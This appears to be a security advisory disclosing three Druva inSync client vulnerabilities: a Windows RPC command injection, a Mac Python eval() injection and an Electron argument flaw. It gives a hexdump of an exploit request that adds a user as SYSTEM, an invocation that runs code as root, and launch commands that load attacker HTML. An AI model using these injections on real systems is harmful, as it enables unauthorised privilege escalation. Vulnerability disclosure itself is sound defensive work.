CVE-2019-3999: Druva inSync Client inSyncCPHwnet64.exe RPC Request Type 5 Unauthenticated OS Command Injection - Local Privilege Escalation (Windows)
The Windows Druva inSync Client Service (inSyncCPHwnet64.exe) contains a command injection vulnerability that can be exploited by a local, unauthenticated attacker to execute OS commands with SYSTEM privileges.
When processing RPC type 5 requests over TCP port 6064, inSyncCPHwnet64.exe does not properly validate request data prior to passing it to the CreateProcessW() function. By sending a crafted RPC request, an attacker
can elevate privileges to SYSTEM.
Proof of Concept
See github
Below is a hexdump of the request sent to exploit this vulnerability and execute the command "net user /add tenable"
00000000 69 6e 53 79 6e 63 20 50 48 43 20 52 50 43 57 5b inSync P HC RPCW[
00000010 76 30 30 30 32 5d v0002]
00000016 05 00 00 00 ....
0000001A 2a 00 00 00 *...
0000001E 6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 n.e.t. . u.s.e.r.
0000002E 20 00 2f 00 61 00 64 00 64 00 20 00 74 00 65 00 ./.a.d. d. .t.e.
0000003E 6e 00 61 00 62 00 6c 00 65 00 n.a.b.l. e.
And here is the corresponding log entry in inSyncCPH.log showing a successful exploitation attempt. Notice that the command 'net user /add tenable' was executed.
20/12/2019 11:17:38 :Got a request to create a process for sysstate. converted: 21, cmd: net user /add tenable
20/12/2019 11:17:38 :Exit code for sysstate process is 0 and return value is 1
CVE-2019-4000: Druva inSync Client inSyncDecommission daemon.set_file_acl Authenticated Python Code Injection (Mac OS)
The inSyncDecommission process is susceptible to Python code injection via the RPC service available over TCP port 6059. Specifically, the daemon.set_file_acl method passes unvalidated input to the Python eval() function. This vulnerability can be exploited by a local, authenticated attacker to execute arbitrary Python code with root privileges.
After decompiling the daemon_set_file_acl function, we believe the function source code to be as follows. Notice the acl argument is passed to eval() without validation:
def daemon_set_file_acl(unknown, fname, acl, user_uid, user_gid):
try:
(mode, uid, gid) = eval(acl) # unsafe call to eval()
if not stat.S_ISLNK(mode):
os.chmod(fname, mode)
if uid:
os.lchown(fname, user_uid, user_gid)
else:
os.lchown(fname, uid, gid)
except Exception as fault:
SyncLog.error('Could not set acl on file %s, error: %s', fname, str(fault))
SyncLog.dtraceback(fault)
raise
return None
Proof of Concept
See github
And here is a sample invocation of the PoC. Notice that ROOT_OWNED was created, and it's owned by root.:
scooby$ ls -l /private/tmp
total 0
scooby$ python insync_rpc_set_acl_auth_exploit.py 7u0ipcrhaudqbchfptnx "os.system('touch /tmp/ROOT_OWNED')"
scooby$ ls -l /private/tmp
total 0
-rw-r--r-- 1 root wheel 0 Dec 27 11:15 ROOT_OWNED
CVE-2019-4001: Electron App Command Line Argument Misconfiguration
The inSync Electron application is configured in such a way that a malicious local user can execute arbitrary NodeJS code in the context of the
inSync client process. An attacker can accomplish this by launching inSync with a URL parameter pointing to an attacker-controlled HTML file containing
NodeJS code.
Please note that this file can point to a remote location as well (e.g. http://12.34.56.78/index.html).
Also, note that this vulnerability may be used to read service tokens from the MacOS keychain, and subsequently, it may be exploited in combination with CVE-2019-4000 to escalate privileges to root.
Below I have pasted a vulnerable code snippet in main.js. Notice how the command line argument value is assigned to inSyncURL without any validation. This allows the
Electron application to execute any specified file.
if (os.platform() == 'darwin') {
if (process.argv[3] == "no_rfs") {// TODO launch if no param has been given
inSyncURL = process.argv[1]
windowType = process.argv[2]
} else {
inSyncURL = process.argv[2]
windowType = process.argv[3]
}
} else {
if(process.argv[1] == null) {
var child = spawn(path.join(__dirname, '..', '..', '..', '..', 'inSyncAgent.exe'), ['configure'], {detached: true});
app.quit()
return
}
inSyncURL= process.argv[1]
windowType = process.argv[2]
}
Proof of Concept
(Mac OS)
open /Applications/Druva\ inSync.app/Contents/Resources/inSync.app --args "file:///Users/myuser/index.html" main no_rfs
(Windows)
"C:\Program Files (x86)\Druva\inSync\electron\inSyncClient\inSync.exe" file://C:/Users/myuser/index.html main no_rfs